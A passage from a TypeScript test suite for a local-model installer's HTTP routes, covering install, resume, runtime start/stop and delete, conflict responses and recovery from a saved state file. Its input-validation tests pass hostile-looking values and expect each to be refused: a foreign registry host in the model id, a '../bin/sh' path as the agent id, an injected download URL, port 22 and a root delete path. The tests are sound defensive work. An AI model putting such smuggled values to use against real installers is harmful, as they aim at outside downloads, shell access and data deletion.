errorCode: 'CONFLICT',
data: {
reason: 'size-changed',
message: {
text: 'The download is {size} GB now. Check the sizes and confirm again.',
vars: { size: '23.3' },
},
expectedBytes: 23291770627,
expectedGb: '23.3',
},
});
});
it.each([
['no body', undefined],
['a missing size', { modelId: 'qwen3.8:27b', cli: 'opencode', context: 131072 }],
['a model id with a registry host in it', { ...INSTALL_BODY, modelId: 'evil.example/x/y:z' }],
['a model id without a tag', { ...INSTALL_BODY, modelId: 'qwen3.8' }],
['an upper-case model id', { ...INSTALL_BODY, modelId: 'Qwen3.8:27B' }],
['a coding agent id with a space', { ...INSTALL_BODY, cli: 'open code' }],
['a coding agent id that is a path', { ...INSTALL_BODY, cli: '../bin/sh' }],
['a context of zero', { ...INSTALL_BODY, context: 0 }],
['a context that is not a whole number', { ...INSTALL_BODY, context: 1.5 }],
['a negative size', { ...INSTALL_BODY, acknowledgedBytes: -1 }],
['a size as text', { ...INSTALL_BODY, acknowledgedBytes: '17926000000' }],
['a member nobody defined', { ...INSTALL_BODY, url: 'https://example.invalid/ollama.tgz' }],
])('%s is a 400 before the service is asked', async (_label, payload) => {
const f = fakes();
const { app } = await harness(f.deps);
const res = await app.inject({
method: 'POST',
url: '/api/local-model/install',
...(payload ? { payload } : {}),
});
expect(res.statusCode).toBe(400);
expect(res.json()).toMatchObject({ success: false, errorCode: 'INVALID_INPUT' });
expect(f.service.install).not.toHaveBeenCalled();
});
});
describe('POST /api/local-model/resume and /runtime', () => {
it('resume takes no body, an empty one, or newPort', async () => {
const f = fakes();
const { app } = await harness(f.deps);
await app.inject({ method: 'POST', url: '/api/local-model/resume' });
await app.inject({ method: 'POST', url: '/api/local-model/resume', payload: {} });
await app.inject({ method: 'POST', url: '/api/local-model/resume', payload: { newPort: true } });
expect(f.service.resume.mock.calls.map(([body]) => body)).toEqual([{}, {}, { newPort: true }]);
expect(f.service.resume.mock.calls[0][1]).toEqual({ username: 'admin', ip: '127.0.0.1' });
});
it('resume refuses a body it does not know', async () => {
const f = fakes();
const { app } = await harness(f.deps);
const res = await app.inject({ method: 'POST', url: '/api/local-model/resume', payload: { port: 80 } });
expect(res.statusCode).toBe(400);
expect(f.service.resume).not.toHaveBeenCalled();
});
it('runtime takes start or stop, and newPort with it', async () => {
const f = fakes();
const { app } = await harness(f.deps);
await app.inject({
method: 'POST',
url: '/api/local-model/runtime',
payload: { action: 'start', newPort: true },
});
await app.inject({ method: 'POST', url: '/api/local-model/runtime', payload: { action: 'stop' } });
expect(f.service.runtime.mock.calls.map(([body]) => body)).toEqual([
{ action: 'start', newPort: true },
{ action: 'stop' },
]);
});
it.each([
['no body', undefined],
['no action', {}],
['an action that is neither', { action: 'restart' }],
['a port number of the caller own choosing', { action: 'start', port: 22 }],
])('runtime with %s is a 400', async (_label, payload) => {
const f = fakes();
const { app } = await harness(f.deps);
const res = await app.inject({
method: 'POST',
url: '/api/local-model/runtime',
...(payload ? { payload } : {}),
});
expect(res.statusCode).toBe(400);
expect(f.service.runtime).not.toHaveBeenCalled();
});
});
describe('DELETE /api/local-model', () => {
const SESSIONS: SessionLike[] = [
{ name: 'w1-app', customModel: { endpointId: 'local-ollama' } },
{ name: 'w2-app' },
{ name: 'w3-lib', customModel: { endpointId: 'office-gpu' } },
{ name: 'w4-lib', customModel: { endpointId: 'local-ollama' } },
];
it('hands the service the names of the live sessions on the model, and who asked', async () => {
const f = fakes();
const { app } = await harness(f.deps, undefined, SESSIONS);
await app.inject({ method: 'DELETE', url: '/api/local-model', payload: { removeModel: true } });
expect(f.service.remove).toHaveBeenCalledWith({ removeModel: true }, ['w1-app', 'w4-lib'], {
username: 'admin',
ip: '127.0.0.1',
});
});
it('without a live session on the model the list is empty, and no body means the model stays', async () => {
const f = fakes();
const { app } = await harness(f.deps, undefined, [SESSIONS[1], SESSIONS[2]]);
const res = await app.inject({ method: 'DELETE', url: '/api/local-model' });
expect(res.statusCode).toBe(200);
expect(f.service.remove.mock.calls[0][0]).toEqual({});
expect(f.service.remove.mock.calls[0][1]).toEqual([]);
});
it('the sessions are read at the moment of the request, not when the routes were registered', async () => {
const f = fakes();
const sessions = new Map<string, SessionLike>();
const { app } = await createRouteTestHarness((instance) =>
registerLocalModelRoutes(instance, { sessions }, f.deps)
);
await app.inject({ method: 'DELETE', url: '/api/local-model' });
sessions.set('late', { name: 'w9-late', customModel: { endpointId: 'local-ollama' } });
await app.inject({ method: 'DELETE', url: '/api/local-model' });
expect(f.service.remove.mock.calls.map((args) => args[1])).toEqual([[], ['w9-late']]);
});
it('while a live session uses the model: 409 with the session names', async () => {
const f = fakes();
f.service.remove.mockImplementation(async (_request, names) => ({
ok: false,
status: 409,
conflict: {
reason: 'sessions-open',
message: { text: LOCAL_MODEL_INSTALL_LABELS.conflictSessionsOpen, vars: { sessions: names.join(', ') } },
sessions: [...names],
},
}));
const { app } = await harness(f.deps, undefined, SESSIONS);
const res = await app.inject({ method: 'DELETE', url: '/api/local-model' });
expect(res.statusCode).toBe(409);
expect(res.json()).toEqual({
success: false,
error: 'Sessions are still using this model: w1-app, w4-lib. Close them first.',
errorCode: 'CONFLICT',
data: {
reason: 'sessions-open',
message: {
text: 'Sessions are still using this model: {sessions}. Close them first.',
vars: { sessions: 'w1-app, w4-lib' },
},
sessions: ['w1-app', 'w4-lib'],
},
});
});
it('refuses a body it does not know', async () => {
const f = fakes();
const { app } = await harness(f.deps);
const res = await app.inject({ method: 'DELETE', url: '/api/local-model', payload: { path: '/' } });
expect(res.statusCode).toBe(400);
expect(f.service.remove).not.toHaveBeenCalled();
});
});
});
describe('the routes over the real install service', () => {
const STATE = () => dataPath('local-model.json');
afterEach(() => {
rmSync(STATE(), { force: true });
});
/** The real service with the real state file. Only the hardware is the test's: a server that is not a Mac. */
function realService(): LocalModelService {
return createLocalModelService({ readHardware: async () => LINUX });
}
it('on a server that is not a Mac nothing can be installed: the install is a 400 and nothing is written', async () => {
const service = realService();
const { app } = await harness({ readHardware: async () => LINUX, service: () => service });
const res = await app.inject({
method: 'POST',
url: '/api/local-model/install',
payload: { modelId: 'qwen3.6:35b-a3b', cli: 'opencode', context: 131072, acknowledgedBytes: 1 },
});
expect(res.statusCode).toBe(400);
expect(res.json()).toMatchObject({ success: false, errorCode: 'INVALID_INPUT' });
expect(existsSync(STATE())).toBe(false);
const get = await app.inject({ method: 'GET', url: '/api/local-model' });
expect(get.json().data.install).toMatchObject({ state: 'idle', actions: ['install'] });
expect(get.json().data.recommendation).toMatchObject({ verdict: 'none', reason: 'not-macos' });
});
it('with nothing installed: cancel, resume and a runtime action are 409 wrong-state', async () => {
const service = realService();
const { app } = await harness({ service: () => service });
for (const [url, payload] of [
['/api/local-model/cancel', undefined],
['/api/local-model/resume', {}],
['/api/local-model/runtime', { action: 'start' }],
] as const) {
const res = await app.inject({ method: 'POST', url, ...(payload ? { payload } : {}) });
expect(res.statusCode).toBe(409);
expect(res.json()).toMatchObject({
success: false,
errorCode: 'CONFLICT',
error: 'That is not possible in the current state.',
data: { reason: 'wrong-state' },
});
}
expect(existsSync(STATE())).toBe(false);
});
it('a job the state file still calls installing comes back paused on the first GET of a new server', async () => {
writeFileSync(
STATE(),
JSON.stringify({
schema: 1,
state: 'installing',
step: 'model',
steps: ['runtime', 'model', 'verify', 'agent', 'connect'],
model: { id: 'qwen3.6:35b-a3b', label: 'Qwen3.6 35B-A3B', context: 131072 },
cli: { id: 'opencode', label: 'OpenCode' },
runtime: { version: '0.40.15', port: 11435, enabled: true },
progress: { completedBytes: 6200000000, totalBytes: 23105798956 },
})
);
const service = realService();
const { app } = await harness({ readHardware: async () => LINUX, service: () => service });
const res = await app.inject({ method: 'GET', url: '/api/local-model' });
expect(res.json().data.install).toMatchObject({
state: 'paused',
step: 'model',
running: false,
model: { id: 'qwen3.6:35b-a3b', label: 'Qwen3.6 35B-A3B' },
cli: 'opencode',
port: 11435,
progress: { completedBytes: 6200000000, totalBytes: 23105798956, completedGb: '6.2', totalGb: '23.1' },
actions: ['resume', 'install', 'remove'],
});
expect(JSON.parse(readFileSync(STATE(), 'utf8')).state).toBe('paused');
// A second install while that job is only paused is refused for what it asks, not started.
const cancel = await app.inject({ method: 'POST', url: '/api/local-model/cancel' });
expect(cancel.statusCode).toBe(409);
});
});